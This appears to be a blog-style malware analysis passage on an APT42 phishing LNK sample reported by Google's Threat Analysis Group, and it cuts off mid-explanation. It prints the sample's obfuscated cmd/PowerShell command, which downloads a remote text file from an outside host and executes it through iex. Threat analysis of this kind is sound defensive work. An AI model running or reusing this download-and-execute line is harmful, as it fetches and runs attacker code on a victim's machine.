APT42 phishing campaigns and malicious code like soldiers hiding deep in the jungle
Summary I recently noted that the Google Threat Analysis Group was sharing insights on APT42. During 2024, I pay more attention to APT groups doing phishing around the world; of course, as you know, LNK is the type of phishing for delivering malware and has been popular for the past many years, and PowerShell is also now very popular for making malware. So here it is that I want to analyze the sample of APT42 that was shared by TAG. Technical analysis The hash sha256 c3486133783379e13ed37c45dc6645cbee4c1c6e62e7988722931eef99c8eaf3 Link information for property store data block. Figure1- Link Information For Property Extract a long string that appears obfuscated is “ C:\Windows\System32\cmd.exe /c "set mv=popdsxwerpdsxshpdsxell -wpdsx pdsx1 "$epdsxs=(wgepdsxt -Urpdsxi https://s3.tebi.io/erfs/pf2ncy.txt -UseBasicpdsxParsing).Content;&(gcm i?x)$es" & call %mv:pdsx=% ". String Replacement : %mv:pdsx=% replaces all instances of p...